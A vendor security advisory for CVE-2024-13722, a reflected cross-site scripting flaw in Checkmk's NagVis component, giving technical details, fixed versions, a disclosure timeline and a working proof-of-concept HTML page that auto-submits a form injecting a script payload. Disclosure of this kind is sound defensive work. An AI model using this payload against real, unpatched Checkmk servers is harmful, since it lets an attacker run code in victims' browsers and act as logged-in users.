KL-001-2025-001: Checkmk NagVis Reflected Cross-site Scripting
Title: Checkmk NagVis Reflected Cross-site Scripting Advisory ID: KL-001-2025-001 Publication Date: 2025-02-04 Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2025-001.txt 1. Vulnerability Details Affected Vendor: Checkmk Affected Product: Checkmk/NagVis Affected Version: Checkmk 2.3.0p2, NagVis 1.9.40 Platform: GNU/Linux CWE Classification: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVE ID: CVE-2024-13722 2. Vulnerability Description The "NagVis" component within Checkmk is vulnerable to reflected cross-site scripting. An attacker can craft a malicious link that will execute arbitrary JavaScript in the context of the browser once clicked. The attack can be performed on both authenticated and unauthenticated users. 3. Technical Description Checkmk version 2.3.0.p2 ships with a component named "NagVis", which is an addon for the network management system "Nagios". When receiving an HTTP POST request for the "userfiles/gadgets/std_table.php" file, the query and body parameters contained within the request are processed by the script. Specifically, the script accepts the "members" body parameter, which is then parsed as a JSON object. The "summary_state" property of the "members" JSON object is reflected into the page response without validation. A POST request containing a malicious "summary_state" value can inject arbitrary JavaScript via the HTML "script" tag into the page response. When rendered in a browser, the attacker controlled JavaScript executes, enabling an attacker to perform actions as the currently logged-in user. The "members" JSON object must be supplied via a POST body parameter, so exploitation of this issue relies on a cross-origin HTTP request originating from an attacker controlled web page. The malicious website (e.g. https://attacker.com/foo.html) can contain an HTML "form" tag with an "action" attribute pointing at the URL for the "std_table.php" script. Additional JavaScript on the attacker controlled page can automatically submit the form once a user loads the page. The browser will send a POST request cross-origin and redirect the browser to the HTTP response of the POST request, thereby executing the malicious JavaScript on the NagVis web page. 4. Mitigation and Remediation Recommendation This issue has been remediated in Nagvis 1.9.42 and Checkmk 2.3.0p10, both release 2024-07-15. 5. Credit This vulnerability was discovered by Jaggar Henry and Jim Becher of KoreLogic, Inc. 6. Disclosure Timeline 2024-06-11 : KoreLogic reports vulnerability details to Checkmk Security Team. 2024-06-12 : Checkmk acknowledges receipt. 2024-06-21 : Checkmk requests an extension of embargo to 90 business days. 2024-07-15 : Checkmk/NagVis release versions featuring remediation for the reported vulnerability. Checkmk neglects to inform KoreLogic of this event. 2024-11-22 : KoreLogic requests an update from Checkmk but receives no reply. 2025-02-04 : KoreLogic public disclosure. 7. Proof of Concept 1) Serve the following HTML from a web server (e.g. python -m http.server) 2) View the URL serving the file in a web browser: <html><form method='POST' action='http://checkmkhost/cmk/nagvis/userfiles/gadgets/std_table.php?object_id=1337&scale=100&opts=show_service_states=foo;group_states=0;&type=dyngroup&object_types=host&state=FL'> <input type='hidden' name='members' value='[{"summary_in_downtime":1,"summary_state":"\"><script>eval(window.name)</script>"}]'>
</form>
<script>
window.onload = function() {
window.name = `prompt('KoreLogic')`;
document.forms[0].submit();
}
</script>
</html>
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